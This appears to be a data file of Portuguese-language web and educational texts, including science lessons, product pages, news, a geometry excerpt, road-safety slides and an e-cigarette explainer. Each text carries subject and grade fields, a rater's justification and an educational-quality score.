+FAÇAMOS UM TRATO Que nossos olhos se olhem Que nossas mãos se cruzem Que nossos beijos se prolongue Que tua voz me seduza
+Que teu jeito me conduza Que teu abraço me envolva. Façamos um trato... me reconquiste e me faça tua! Brisa do Mar
+Tudo tem uma razão ...",original,original,original,original,3,0.6
+"Os Frascos para Leite sao utilizados para recolher, armazenar e dar o leite ao bebe. Trocando a tampa por um bico, podem ser utilizados tambem como mamadeiras e copos de treinamento. Podem ser armazenados na geladeira ou freezer. Graduaçao de 70mL
+Os Frascos para Leite são utilizados para recolher, armazenar e dar o leite ao bebê.
+Trocando a tampa por um bico, podem ser utilizados também como mamadeiras e copos de treinamento.
+Pode ser transportado sem preocupação de vazamentos.
+Seu design moderno possui espaço próprio para anotações com caneta esferográfica para colocar como nome, data entre outras informações que podem ser removidas facilmente na higienização.
+O material em silicone possui diversos benefícios como: não deforma, não quebra, superfície sem poros e completamente lisa não permitindo a formação de micro rachaduras e impedindo a formação de bactérias.
+É resistente a altas e baixas temperaturas, excelente condutor térmico.",original,original,original,original,2,0.4
+"Já parou para pensar em como o seu corpo é fascinante? Ele é como uma máquina superpotente, capaz de realizar tarefas incríveis todos os dias! Desde respirar enquanto você dorme até correr em uma partida de futebol, tudo isso acontece graças a um conjunto de sistemas trabalhando em perfeita harmonia. Vamos embarcar em uma aventura para explorar alguns desses sistemas e descobrir como cuidar bem dessa máquina maravilhosa que é o seu corpo.
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+Imagine o seu corpo como uma cidade movimentada. O sistema digestório é como a central de reciclagem, responsável por transformar os alimentos que você come em energia e nutrientes essenciais. Quando você mastiga uma maçã, por exemplo, está dando o pontapé inicial para que essa central comece a trabalhar. O sistema respiratório, por sua vez, é como o sistema de ventilação da cidade, garantindo que o ar puro chegue a todos os cantos, eliminando o ar poluído. A cada inspiração e expiração, o oxigênio entra nos seus pulmões e é levado para o sangue, que o distribui para todas as células do seu corpo.
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+E o sistema cardiovascular? Ele é como a rede de transporte da cidade, com o coração atuando como a bomba central que impulsiona o sangue através dos vasos sanguíneos, levando oxigênio e nutrientes para todas as células e removendo os resíduos. Já o sistema nervoso é como a central de comunicação da cidade, transmitindo mensagens rápidas através dos nervos para controlar todas as suas ações, desde um simples piscar de olhos até a resolução de um problema de matemática. O cérebro, o grande maestro desse sistema, recebe e processa todas essas informações, permitindo que você pense, sinta e aprenda.
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+Mas para que essa máquina continue funcionando perfeitamente, é fundamental cuidar da saúde! Uma alimentação equilibrada, rica em frutas, verduras, legumes e proteínas, fornece os nutrientes necessários para o bom funcionamento de todos os sistemas. A prática regular de exercícios físicos fortalece os músculos, melhora a circulação sanguínea e aumenta a capacidade respiratória. E não podemos esquecer do sono, que é essencial para o descanso e a recuperação do corpo e da mente. Dormir bem permite que o cérebro processe as informações do dia, consolide a memória e prepare você para um novo dia cheio de aprendizado e diversão.
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+Assim como uma cidade precisa de manutenção constante, o seu corpo também precisa de cuidados diários. Lavar as mãos regularmente, escovar os dentes após as refeições e tomar banho são hábitos simples que ajudam a prevenir doenças e manter a higiene pessoal. Além disso, é importante estar atento aos sinais que o seu corpo envia. Se você sentir alguma dor ou desconforto, procure um médico para que ele possa te ajudar a resolver o problema o mais rápido possível.
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+Agora que você já conhece um pouco mais sobre essa incrível máquina humana, que tal colocar em prática tudo o que aprendeu? Experimente escolher alimentos saudáveis para o seu lanche, praticar um esporte que você goste e dormir um pouco mais cedo. Pequenas mudanças no seu dia a dia podem fazer uma grande diferença na sua saúde e bem-estar. Lembre-se: cuidar do seu corpo é um investimento no seu futuro! Qual será o próximo sistema do corpo que você vai explorar?",Ciências,Corpo humano e saúde,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir de forma lúdica e acessível o funcionamento dos sistemas do corpo humano, utilizando analogias como 'cidade movimentada'. A linguagem é adequada para o ensino fundamental, e o conteúdo promove hábitos saudáveis. A progressão das explicações é clara, e o texto estimula a curiosidade e o cuidado com a saúde. Apesar de não ser um material didático completo, ele cumpre um papel importante na introdução ao tema.",5,1.0
+"INFÂNCIA URGENTE!!!: Movimentos sociais e organizações do Rio de Janeiro convidam para o
+Movimentos sociais e organizações do Rio de Janeiro convidam para o
+Nos bairros e no mundo, em luta pelo direito à cidade, pela democracia e justiça urbanas
+As edições anteriores do FUM foram dominadas pelas delegações oficiais, enquadradas pela retórica e agenda das organizações multilaterais – Banco Mundial, Banco Interamericano de Desenvolvimento (BID), Banco Asiático de Desenvolvimento (BAD), Programa das Nações Unidas para o Desenvolvimento (PNUD), Aliança de Cidades, entre outras. Palavras, palavras, palavras... mas também um reiterado esforço de impor às cidades de todo mundo, em particular dos países periféricos, o modelo da cidade-empresa competitiva, dos grandes projetos de impacto, que aprofundam as desigualdades e os processos de aburguesamento. A retórica do alívio da pobreza não consegue esconder os fracassos de uma política que submete nossas cidades à lógica do mercado, tanto mais que se desconhecem, ou se silenciam, os mecanismos e processos que produzem e reproduzem cidades desiguais, social e ambientalmente injustas.
+Em suas várias edições o FUM também tem sido incapaz de abrir espaço àqueles e àquelas que, em todas as cidades do mundo, resistem à lógica implacável da cidade-empresa e da cidade-mercadoria, que lutam por construir alternativas aos modelos adotados em vários governos, e difundidos pela “ajuda” internacional nem sempre desinteressada e por consultores, assim como por conferências e congressos mundiais onde a miséria urbana de milhões se transforma em frias estatísticas e promessas nunca cumpridas.
+- painéis e debates em torno a 4 Eixos: Violências Urbanas e Criminalização da Pobreza; Megaeventos e a Globalização das Cidades; Justiça Ambiental na Cidade; Grandes Projetos Urbanos, Áreas Áreas Centrais e Portuárias;
+Copa do Mundo, Olimpíadas, exposições internacionais. Impactos de megaeventos internacionais nas cidades, a partir das experiências internacionais e do Rio de Janeiro. Quais são os “legados” e quem são seus beneficiários?
+- Grandes Projetos Urbanos, Áreas Centrais e Portuárias
+“Revitalização” dos centros urbanos e áreas portuárias. Mobilidade. Processos de aburguesamento. Expulsão das populações tradicionais através da violência e através do “mercado”. Grande capital, parcerias público-privadas e a especulação fundiária. Globalização e capitalismo nas cidades.
+Também serão organizadas visitas e tours guiados para permitir o contato direto com realidades urbanas pouco conhecidas, como manifestações culturais da cidade e experiências de luta – movimentos comunitários, ocupações, etc.
+As atividades do “Fórum Social Urbano” ocorrerão no espaço do Centro Cultural da Ação da Cidadania Contra a Fome, à rua Avenida Barão de Tefé 75, no bairro da Saúde. Trata-se de armazém portuário edificado em 1871, restaurado em 2002, que hoje acolhe eventos políticos, artísticos e culturais. O espaço tem 14.000 m2, oferecendo amplas condições para a realização de várias atividades simultâneas, colocação de banquinhas, etc. (http://www.acaodacidadania.com.br/templates/acao//publicacao/publicacao.asp?cod_Canal=3&cod_Publicacao=6)",original,original,original,original,3,0.6
+"porta rápida flexível - Auto Portão
+Receba diversas cotações de porta rápida flexível, encontre as melhores empresas, receba os valores médios pelo formulário com centenas de fornecedores
+Desenvolvido para compradores, a ferramenta Soluções Industriais reuniu o maior número de fabricantes referência do mercado. Interessado porta rápida flexível e gostaria de informações sobre o fornecedor selecione uma das empresas abaixo:
+Porta rápida flexível A Porta rápida flexivel foi desenvolvida com toda a qualidade para aplicação em áreas internas e externas de indústrias, para a proteção contra correntes térmicas de ar, poeira e contaminação, permitindo a vedação completa do ambiente e garantindo excelente resultado para o cliente. Econômica, a Porta rápida flexível reduz custos na economia de energia. A porta é silenciosa e suave, funcionando com excelente desempenho, o ...
+A porta rápida dobrável é uma estrutura sem soldas, totalmente montada através de rebites rosca revicle, facilitando a substituição de partes em casos de colisões. Com acabamento padrão em aço galvanizado, opcionalmente em pintura eletrostática na cor (ral) a ser definida ou aço inox. Manta tecido vinílico de tecnologia européia, desenvolvido exclusivamente para aplicação em portas rápidas, pela sua resistência, qualidade e durabilidade. Porta ...
+Porta rápida frigorífica é uma estrutura totalmente montada através de rebites rosca, não possuem soldas, facilitando assim a substituição de partes individuais da porta em casos de colisões em sua estrutura. As colunas são produzidas em perfil de alumínio natural, podendo ter seu acabamento em aço acabamento galvanizado, pintado ou em aço inox. Possui excelente vedação lateral. Resistência: Possuem sistema de aquecimento nas colunas realizado a...
+Imagem ilustrativa de porta rápida flexível
+O uso das portas automáticas deslizantes As portas automáticas do tipo deslizante são o que de mais moderno existe em termos de fechamento de um local ou sala. As portas automáticas que são deslizantes representam muito mais do que segurança e conforto, são hoje, sinal de bom gosto e elegância, adequando-se a qualquer projeto arquitetônico e decorativo. O avanço tecnológico vem permitindo equipamentos mais funcionais e também mais elegantes, ....
+Conheça os tipos de manutenções A manutenção de portões automáticos pode ser dividida em duas, para situações diferentes. Essas são: Manutenção preventiva, E manutenção emergencial. A aplicação da manutenção do primeiro caso ocorre quando o portão funcionando normalmente. Porém, é necessário revisar e ajustar os principais componentes do portão, pois isso garante o bom funcionamento. Já a segunda manutenção é aplicada quando ocorre a....
+ATENDIMENTO EXCLUSIVO PARA SÃO PAULO, GRANDE SÃO PAULO E BAIXADA SANTISTA. A Art Metal Portões está localizada na zona sul de São Paulo e possui mais de 10 anos de experiência na fabricação e comercialização de portões em Santo Amaro. Antigamente Santo Amaro era um município independente e só foi incorporada definitivamente a capital em 1947, atualmente compõe uma das 31 subprefeituras da capital. A região de Santo Amaro conta atualmente com....
+Qual a função da Porta de enrolar automática? A Porta de enrolar do tipo automática é usada na maioria das vezes por comércios de rua ou variados estabelecimentos comerciais. A porta deste tipo é usada para a maior comodidade na abertura e no fechamento da mesma, além de fornecer mais segurança para todos aqueles que a utilizam. Existem diversos tipos de portas automáticas, estão entre elas: - Porta de enrolar automática, - Porta automática ....
+Função do motor para porta Com a função de abrir ou fechar portas automáticas, os motores para porta de aço são de extrema importância. Com capacidades e tamanhos que variam (de 200 kg até 2000 kg) os motores para porta de aço possui diversos modelos com alto e médio fluxo. Também é possível obter os motores para porta de aço com acionamento manual, que possui uma talha locali...",original,original,original,original,2,0.4
+" Bolsonaro vira as costas para a imprensa ao ser indagado sobre tortura no Pará | Repórter
+Início Política Bolsonaro vira as costas para a imprensa ao ser indagado sobre tortura...
+FORUM – Na manhã desta terça-feira (8), durante o encontro do presidente Jair Bolsonaro (PSL) com apoiadores no Palácio do Planalto, um repórter o questionou sobre uma denúncia do Ministério Público contra um caso de tortura no Pará. No entanto, antes que pudesse concluir sua pergunta, o presidente vira as costas para o jornalista e chama a equipe para ir embora.
+Artigo anteriorNo Roda Viva, Gilmar Mendes diz que Lula não tem o direito de recusar o regime semiaberto
+Próximo artigoEx-prefeito de Itacoatiara, Antônio Peixoto é condenado a devolver R$ 25,5 milhões aos cofres públicos",original,original,original,original,1,0.2
+Globo.com © 2000-2022 Globo Comunicação e Participações S.A. - Todos os direitos reservados - Política de Privacidade,original,original,original,original,0,0.0
+"MSI Tecnologia - Qual a diferença entre Virtualização e Computação na Nuvem?
+Soluções que se complementam, mas que apresentam diferenças. Assim podemos começar dizendo sobre Virtualização de Servidores e Computação na Nuvem. Abaixo separamos a definição de cada termo para mostrar que sua empresa pode se apropriar de ambos para economizar. Acompanhe.
+No caso deste post estamos focando na Virtualização de Servidores, que nada mais é do que organizar a parte física de um servidor em frações virtuais. Desta forma, você otimiza os processos que necessitam do uso de softwares. Resumindo, com o serviço de Virtualização você concentra programas, informações, redes, aplicativos e demais demandas de TI em um espaço fora de sua máquina. Isto vai proporcionar economia, agilidade e uma infinidade de pontos positivos em seu cotidiano profissional.
+Também conhecida como Cloud Computing, a Computação na Nuvem proporciona a integração de servidores e computadores através da internet. Neste caso trata-se de uma solução, e não de uma técnica. Podemos dizer, portanto que a Computação na Nuvem é um canal para fazer chegar a Virtualização até o consumidor final.
+No caso do ambiente corporativo a Computação na Nuvem pode se tornar um diferencial competitivo quando bem empregada. Além da questão de integração entre usuários e informações, este serviço proporciona agilidade, economia, desempenho e segurança.
+Resumindo, a diferença da Virtualização de Servidores e Computação na Nuvem é que a primeira se apresenta como uma técnica e a segunda como uma solução.
+Agora você já sabe que é possível utilizar estas duas áreas para economizar e otimizar o desempenho da sua empresa.
+Entre em contato aqui para obter mais informações.",original,original,original,original,2,0.4
+"Denomina-se área a medida de uma superfície.
+312) Se unirmos duas ou mais figuras planas de forma que não se sobreponha nenhuma parte duma delas às outras, a superfície da figura obtida diz-se igual à soma das superfícies de todas elas.
+Como vimos ( 35), duas figuras dizem-se iguais quando coincidem ou deslocando uma delas se pode fazer coincidir com a outra. Por consequência, duas superfícies planas iguais têm a mesma forma ( 1 ) e a mesma área.
+Duas superfícies planas dizem-se equivalentes quando têm a mesma área independentemente da forma.
+313) TEOREMA: As áreas de dois rectângulos com bases iguais estão entre si como as alturas ( Fig. 404).
+( 1 ) Além de figuras iguais também os polígonos semelhantes se consideram como tendo a mesma forma, mas estes não têm, em geral, a mesma área.
+Os rectângulos MNPQ e EFGH ficam divididos, respectivamente, em m e n rectângulos iguais ( 158 ), cuja área suporemos igual a a. Será, portanto,
+314) Teorema: As áreas de dois rectângulos estão entre si como o produto das suas bases pelas alturas ( Fig. 405)
+Cor. I – A área de um rectângulo é igual ao produto das suas dimensões.
+Por ser no quadrado , e representando por a medida comum da base e da altura, teremos
+315) TEOREMA: Um paralelogramo é equivalente a um rectângulo com a mesma base ( Fig. 406)
+Cor. – A área de um paralelogramo é igual ao produto da base pela altura.
+1) Dois lados consecutivos de um paralelogramo medem 13 cm e 20 cm e a projecção daquele lado sobre este mede 5 cm. Determinar a área do paralelogramo
+317) TEOREMA: A razão das áreas de dois triângulos semelhantes é igual ao quadrado da razão de semelhança ( Fig. 408).
+318) TEOREMA: A área de um losango é igual a metade do produto das diagonais (1) ( Fig. 409).
+(1) Como o losango é um paralelogramo, a sua área também pode ser obtida como a do paralelogramo.
+Cor. I- A área de um trapézio é igual ao produto das semi-soma das bases pela altura.
+Por ser BF = CD, a área do EDF é , que é também a do trapézio BCDE, ou seja A = .
+Cor. II- A área de um trapézio é igual ao produto da mediana pela altura.
+6) Sejam O e O’ os centros de duas circunferências, tangentes exteriormente e TT’ o segmento da tangente comum. Determinar a área do trapézio OTTO’, sabendo que os raios das circunferências medem 9 cm e 4 cm.
+320) TEOREMA: A área de um polígono regular é igual a metade do produto do perímetro pela medida do apótema (Fig. 411)
+4) O comprimento de uma circunferência é 43,96 cm. Determinar:
+Decomponham-se os polígonos em triângulos semelhantes (287).
+Com efeito, como R = , teremos A =
+Cor. II- A razão das áreas de dois círculos é igual à razão doa quadrados dos seus raios ou dos seus diâmetros.
+326) Sector circular è a porção de círculo compreendida entre dois raios. Na Fig. 416 está representado o sector circular AOB.
+A = R2 ( n amplitude em ângulos rectos).
+15) Determinar o valor que deve ter o raio de um círculo de forma que a sua área seja expressa pelo triplo do número que exprime o comprimento da circunferência
+24) Uma senhora fez um napperon de forma circular para uma mesa, sendo a parte
+Se em vez de ter feito a parte da renda com 10 cm de largura a fizesse com 20 cm, quantos metros de linha seriam precisos?
+1) AB é uma corda da circunferência (O) e P é um ponto equidistante dos pontos A e B. Demonstrar que OP divide ao meio o arco AB.
+2) Se (Fig. 420) na circunferência (O) AB = DE e BC = CD, demonstrar que CA = DE
+3) Se (Fig. 420) na circunferência (O) AB > DE e BC = CD, demonstrar que AC > CE.
+4) Se (Fig.420) na circunferência (O) AC = CE e BC< CD, demonstrar que AB > DE.
+5) Se (Fig.420) na circunferência (O) AC e CE estão equidistantes do centro O e AB = DE, demonstrar que BC = CD.
+6) Demonstrar que são iguais as cordas paralelas tiradas pelos extremos de um diâmetro de uma circunferência.
+11) Por um ponto exterior a uma circunferência tiraram-se tangentes. Se o ângulo das tangentes entre as quais está compreendida a circunferência medir 60º, demonstrar que a corda definida pelo...",original,original,original,original,4,0.8
+"Jazida do Metoposaurus algarvensis - Geossitios - Explorar - Geoparque Algarvensis - Municípios de Loulé, Silves e Albufeira
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+Paleontologia
+Jazida do Metoposaurus algarvensis
+O nome do aspirante Geoparque Algarvensis teve origem no fóssil que foi descoberto neste geossítio: o Metoposaurus algarvensis, uma espécie de anfíbio pré-histórico único no mundo.
+Esta jazida situada na Penina, numa das vertentes da Rocha da Pena, contém um elevado número de ossos de crânio e algum material pós-cranial de vários indivíduos desta espécie, vestígios concentrados num estreito nível estratigráfico do “Grés de Silves”.
+Vivendo em lagos e rios há cerca de 227 milhões de anos, no período do Triássico Superior, os Metoposaurus algarvensis alimentavam-se principalmente de peixes e pequenos animais. Por vezes, os corpos de água onde os Metoposaurus viviam sofriam com grandes episódios de seca, evaporando gradualmente até desaparecer. À medida que os lagos e charcos diminuiam, os Metoposaurus iam concentrando-se nos últimos resquícios de água, onde acabavam por morrer em grande número, dando assim origem a jazidas com elevadas concentrações de fósseis, ou “bonebeds”, como a que se pode observar na Penina.
+No entanto, a melhor forma de conhecer o Metoposaurus algarvensis, é visitar o Museu Municipal de Loulé, onde se encontra exposto um exemplar de um crânio desta espécie única.",original,original,original,original,3,0.6
+"Segurança Rodoviaria Estrada Segura Para As Crianças - Susana Almei…
+Apresentação de segurança rodoviári... by fergwen 1612 views
+Segurança Rodoviária by turma14EPAD 9098 views
+Prevenção rodoviária by gustavoericardo 55501 views
+Segurança rodoviária by Sara Daniela 20512 views
+Seguranca infantil by DenizecomZ 3877 views
+1. Segurança Rodoviária
+2. Segurança rodoviária A segurança rodoviária é um tema que interessa a todos os cidadãos. Todos têm um importante papel a desempenhar para tornar as estradas mais seguras. Não obstante a eficácia das acções já realizadas, na União Europeia, o número de vítimas das estradas continua a ser demasiado elevado: 1,3 milhões de acidentes rodoviários por ano que provocam 43 000 mortos e 1,7 milhões de feridos. O comportamento dos condutores é, reconhecidamente, a primeira causa dos acidentes mortais: velocidade, consumo de álcool ou droga, cansaço, falta de cinto de segurança ou capacete, etc.
+3. SISTEMAS DE RETENÇÃO PARA CRIANÇAS As crianças são seres humanos delicados que confiam em nós, adultos, para que cuidemos delas com toda a segurança… E nós, adultos, será que correspondemos a essa confiança? Até que ponto é que as protegemos devidamente quando as transportamos de carro? Estas são perguntas que nos devemos fazer a nós próprios
+4. Como escolher um sistema de retenção adequado aos nossos filhos? Grupo 0 Crianças com menos de 10 kg Grupo 0+ Crianças com menos de 13 kg
+5. Grupo 3 Crianças entre 22 e 36 kg (Banco elevatório com costas) Grupo 3 Crianças entre 22 e 36 kg (Banco Elevatório) sem costas
+6. Como saber se a “cadeira” do nosso filho está correctamente instalada?
+7. -Para uma instalação correcta e segura, devemos ler SEMPRE atentamente os manuais de instruções do fabricante da cadeirinha e do veículo e respeitar essas instruções. -O sistema de retenção deve, também, estar bem fixado à estrutura do veículo, nomeadamente através dos cintos de segurança do próprio veículo ou do designado sistema ISOFIX. -As precintas do sistema de retenção devem estar SEMPRE correctamente apertadas, ou seja, sem folgas, embora garantindo o conforto da criança. -As crianças devem viajar no banco de trás dos automóveis de passageiros de quatro ou mais lugares. -Existem contudo, para crianças com idade inferior a 3 anos, sistemas de retenção que permitem, sob determinadas condições, a sua instalação no banco da frente ao lado do condutor, com a “cadeirinha” voltada para a retaguarda.
+8. Mas atenção aos airbags! As crianças com idade inferior a 3 anos só podem ser transportadas no banco ao lado do condutor se: -Não existir airbag; -O airbag estiver desligado – através de dispositivo de origem previsto para o efeito; - O airbag tiver sido desactivado pelo representante da marca, através de autorização da DGV.
+9. Como saber se a “cadeira” escolhida é segura? Antes de a adquirir, certifique-se que a mesma se encontra homologada de acordo com o REGULAMENTO 44 ECE/UN, uma vez que só neste caso cumpre os requisitos técnicos de Exemplo de uma marca de homologação segurança.
+10. Mas o que é afinal um sistema de retenção para crianças? Um sistema de retenção para crianças é o conjunto de componentes, que pode incluir uma combinação de precintas ou componentes flexíveis com uma fivela de aperto, dispositivo de regulação, acessórios e, nalguns casos, uma cadeira adicional e/ou um escudo contra impacte, capaz de ser fixado a um automóvel, sendo concebido de modo a diminuir o risco de ferimentos do utilizador em caso de colisão ou de desaceleração do veículo através da limitação da mobilidade do seu corpo.
+11. LEMBRE-SE! Transportar uma criança num automóvel sem o respectivo sistema de retenção é um comportamento irresponsável que, em caso de acidente ou travagem brusca, pode ter consequências fatais. É também uma contra-ordenação grave punida por lei com coima e sanção acessória de inibição de conduzir. Lembre-se, mais uma vez, que uma colisão a 50 km/h, se a criança não for transportada em sistema de retenção apropri...",original,original,original,original,4,0.8
+"No final da década de vinte o mundo foi abalado pela queda da bolsa de Nova Iorque. O colapso foi geral, a política neoliberal sofreu o primeiro baque financeiro e os banqueiros foram pedir ajuda para quem criticava por atrapalhar, o Estado.
+O presidente dos EUA, Franklin Delano Roosevelt, era defensor da presença do Estado na economia, e foi o próprio Estado que salvou os bancos do buraco. Em vez de tomar medidas rudimentares e impopulares, Roosevelt criou medidas para que o país não decretasse a falência. Estimulou a criação de empregos braçais, construíram ferrovias, escolas e prédios com ajuda (quem diria) do Estado.
+São nesses momentos de crises que, ao contrário do que muitos pensam, a economia e os projetos de combate à desigualdade devem ser praticados no momento. Na última grande crise dos bancos, os Estados Unidos e a União Europeia estavam na rota de salvar de novo os grandes bancos, há oito anos. O diferencial dessa crise foi a concentração dela. Os demais blocos econômicos não sentiram os efeitos da crise.
+Brasil, China, Rússia e Índia passaram ilesos na crise. A Rússia tratou de renovar sua poderosa frota militar que tinha ficado a míngua com o fim dos países do bloco socialista. Os russos somente estavam combalidos e não mortos. Hoje ela se faz presente na nova conjuntura mundial e renovou as forças armadas com novos equipamentos de guerra.
+O Brasil passou imune à crise financeira. A marolinha passou muito longe. O brasileiro estava consumindo muito, a renda salarial permitia um consumo exacerbado. Neste ano fomos um dos poucos países que desenvolveu com êxito as políticas econômicas e sociais. No entanto, o país não soube se aproveitar da crise para por em prática as infraestruturas que tanto faz falta em nossos dias.
+Atualmente o governo golpista, em nome da recuperação da economia, está planejando vender estatais importantíssimas e vitais para a segurança do país. Num lapso de memória, o atual governo golpista, disse que regredimos vinte anos em dois anos. De fato, regredimos.
+Enquanto o governo comemora o fim da recessão, estamos voltando ao mapa da fome e outras lutas de combate à fome e à pobreza. Ainda em nome da economia, ele corta pela metade os repasses para educação e saúde e demais medidas antipopulares. Era semelhante no regime militar, o PIB era dos maiores e enquanto isso o povo não se beneficiava, os indicadores sociais eram semelhantes aos países da África. Existe algum motivo para comemoramos? Tire suas conclusões .",original,original,original,original,4,0.8
+"Você já parou para pensar em como o mundo está cheio de seres vivos incríveis? Ao nosso redor, vemos animais e plantas de todos os tipos, tamanhos e cores! Eles são muito importantes para a nossa vida e para a vida do planeta. Vamos descobrir juntos um pouco mais sobre esse mundo fascinante!
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+Primeiro, vamos falar dos animais. Os animais são seres vivos que precisam se alimentar para obter energia. Eles podem ser grandes, como um elefante, ou pequenos, como uma formiga. Alguns animais vivem na água, como os peixes e as baleias, outros vivem na terra, como os leões e os cachorros, e alguns até voam, como os pássaros e as borboletas! Cada animal tem um jeito especial de viver, de se alimentar e de se proteger. Por exemplo, você já viu um gato caçando um rato? Ou um cachorro abanando o rabo quando está feliz? Cada um desses comportamentos faz parte da vida do animal e o ajuda a sobreviver.
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+Agora, vamos falar das plantas. As plantas também são seres vivos, mas elas são diferentes dos animais. As plantas produzem seu próprio alimento através de um processo chamado fotossíntese. Para fazer isso, elas precisam de luz do sol, água e gás carbônico. As plantas nos dão muitas coisas importantes, como o ar que respiramos, a comida que comemos e a sombra que nos protege do sol. Você já viu uma árvore dando frutos? Ou uma flor desabrochando na primavera? As plantas são lindas e essenciais para a nossa vida!
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+As plantas e os animais estão interligados. As plantas servem de alimento para muitos animais, e os animais ajudam a espalhar as sementes das plantas, permitindo que elas se reproduzam. É como se fosse uma grande rede, onde cada um tem um papel importante. Imagine as abelhas voando de flor em flor, coletando o néctar e, ao mesmo tempo, ajudando a polinizar as plantas! Sem as abelhas, muitas plantas não conseguiriam se reproduzir, e muitos animais não teriam o que comer.
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+Portanto, é muito importante cuidarmos dos animais e das plantas. Devemos proteger as florestas, não poluir os rios e oceanos, e respeitar todos os seres vivos. Afinal, todos nós fazemos parte do mesmo planeta e dependemos uns dos outros para viver em harmonia. Que tal plantar uma árvore ou cuidar de um jardim? Ou quem sabe observar os animais que vivem perto da sua casa? Ao fazer isso, você estará contribuindo para um mundo mais verde e saudável para todos!",Ciências,Animais e plantas,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas sobre animais e plantas, relevantes para o ensino fundamental, com linguagem acessível e exemplos práticos. Introduz conceitos como fotossíntese e interdependência entre seres vivos de forma clara, incentivando o respeito ao meio ambiente. Sua abordagem é adequada para os anos iniciais e finais do ensino fundamental, promovendo a conscientização e o aprendizado sobre o mundo natural.",5,1.0
+"Doživljaj koji organizira Lucas
+Nos encontraremos na sede do coletivo comunitário (Caxxyri), onde farei uma rápida apresentação do projeto, trocaremos experiências sobre o assunto e farei uma oficina de compostagem orgânica com baldes (para casas e apartamentos). Depois, faremos um passeio agradável, pela APA Floresta Manaós (Área de proteção ambiental) considera o terceiro maior fragmento verde em área urbana do mundo. Lá vamos conhecer a Universidade Federal do Amazonas (a entrada do campus fica bem próximo da sede do coletivo). Dentro da Universidade pegaremos uma trilha (20min) que passa pelo meio do fragmento florestal, com mata nativa e alguns animais da fauna amazônica (que talvez possam ser observados). o destino dessa trilha é um conjunto habitacional (Acariquara) que fica dentro da APA, lá conheceremos uma casa coletiva que funciona como um espaço agroecológico, onde poderemos conhecer arvores frutíferas regionais e plantar algumas mudas (também poderemos tomar um café/chá da tarde). E por último, a caminho da saída, passaremos por um lago que fica localizado dentro do conjunto.
+Nos encontraremos na sede do coletivo comunitário (Caxxyri), onde farei uma rápida apresentação do projeto, trocaremos experiências sobre o assunto e farei uma oficina de compostagem orgânica com baldes (para casas e apartamentos). Depois, faremos um passeio agradável, pela APA Floresta Manaós (Área de proteção ambiental) considera o terceiro maior fragmento verde em área urbana do mundo. Lá vamos conhecer a Universidade Federal do Amazonas (a en…
+Od $10
+Upoznajte svog domaćina (Lucas)
+Sou um dxs coordenadorxs do Caxxyri (Coletivo Comunitário do Bairro Coroado). O coletivo trabalha com agricultura urbana e educação popular no bairro, sou morador do Coroado e voluntário no projeto. Me formei em filosofia ano passado e sou apaixonado por educação (principalmente não-formal). Sempre me interessou a causa ambiental, me aproximei da agricultura e compostagem orgânica em uma casa coletiva que morei em Manaus, e depois nos projetos do coletivo Caxxyri. Depois de 3 anos como coordenador do coletivo acredito que posso ajudar a mutiplicar essa ideia, através de vivências, oficina, troca de experiências, e quintais de plantio. Isso tudo compartilhando momentos agradáveis em um dia de passeio e aprendizado.
+Sou um dxs coordenadorxs do Caxxyri (Coletivo Comunitário do Bairro Coroado). O coletivo trabalha com agricultura urbana e educação popular no bairro, sou morador do Coroado e voluntário no projeto. Me formei em filosofia ano passado e sou apaixonado por educação (principalmente não-formal). Sempre me interessou a causa ambiental, me aproximei da agricultura e compostagem orgânica em uma casa coletiva que morei em Manaus, e depois nos projetos do coletivo Caxxyri. Depois de 3 anos como coordenad…
+Caxxyri: Coletivo comunitário do bairro Coroado, que trabalha com agricultura urbana e educação popular.
+UFAM: Com uma APA (área de proteção ambiental) de 6,7 milhões de metros quadrados, é considerado o terceiro maior fragmento verde em área urbana do mundo e o primeiro do Brasil.
+Trilha UFAM Conjunto Acariquara: Localizada dentro da APA Manaós.
+Espaço Agroecológico do Acariquara: Casa coletiva que funciona como um espaço agroecológico.
+Para o calor de Manaus: Ir com roupas leves
+Para trilha e quintais: Calçados fechados (de preferência Botas)",original,original,original,original,2,0.4
+"Um cigarro eletrônico vaporiza um líquido contendo uma mistura de aromas e outras substâncias. O líquido, ou e-líquido, é aquecido para criar vapor que o usuário pode inalar. O líquido não contém tabaco, como um cigarro comum, mas geralmente contém nicotina.
+O cigarro eletrônico está disponível em todos os tipos de modelos e sabores. (veja mais aqui: Reino do Vapor).
+O vapor de um cigarro eletrônico contém, assim como a fumaça do tabaco, substâncias nocivas como nicotina, propilenoglicol, glicerol e aldeídos. A inalação dessas substâncias pode irritar ou danificar o trato respiratório. Palpitações também podem ocorrer e o usuário tem um risco aumentado de câncer. O vapor que um fumante exala de um cigarro eletrônico pode ter efeitos sobre os espectadores. A garganta, nariz e/ou olhos podem ficar levemente irritados.
+Menos perigoso do que o cigarro normal
+Um cigarro eletrônico libera menos substâncias nocivas do que um cigarro comum e em concentrações mais baixas. Com toda a probabilidade, um cigarro eletrônico é menos prejudicial à saúde do que um cigarro comum. No entanto, ainda não sabemos quais os efeitos nocivos que um cigarro eletrônico tem com o uso estrutural e de longo prazo.
+Aromas atraentes
+Os aromas em um cigarro eletrônico dão um sabor agradável e disfarçam o sabor amargo da nicotina. Os jovens acham o cigarro eletrônico atraente por causa da grande variedade de sabores (especialmente doces). Os fumantes de tabaco que não conhecem os cigarros eletrônicos apreciam especialmente os sabores do tabaco e a experiência semelhante a fumar um cigarro normal. Para os jovens que não fumam, um cigarro eletrônico pode ser um trampolim para o tabagismo normal.
+Pode ajudar quem está tentando parar de fumar
+Para algumas pessoas, um cigarro eletrônico é uma ajuda eficaz para parar de fumar. No entanto, a maioria dos usuários de cigarros eletrônicos continua a fumar tabaco. As pessoas costumam usar cigarros eletrônicos com nicotina como um auxílio para parar de fumar. Existe o risco de continuarem viciados em cigarros eletrônicos depois de terem parado de fumar. Ou continue fumando tanto o cigarro eletrônico, quanto o tabaco comum.
+Sais de nicotina
+Alguns e-líquidos contêm sais de nicotina. Estes tornam o vapor menos amargo e acentuado no sabor do que a nicotina regular. Isso torna mais fácil para os usuários inalar grandes quantidades de nicotina. Os sais de nicotina também podem ser absorvidos mais rapidamente pelo corpo, aumentando o efeito viciante.
+O cigarro eletrônico veio junto com a tecnologia, que cada vez mais nos apresenta dispositivos e alternativas para mudar e adaptar a nossa rotina.
+É muito importante ler sobre o assunto e se informar bem antes de tomar a decisão de utilizar cigarro eletrônico.",original,original,original,original,4,0.8
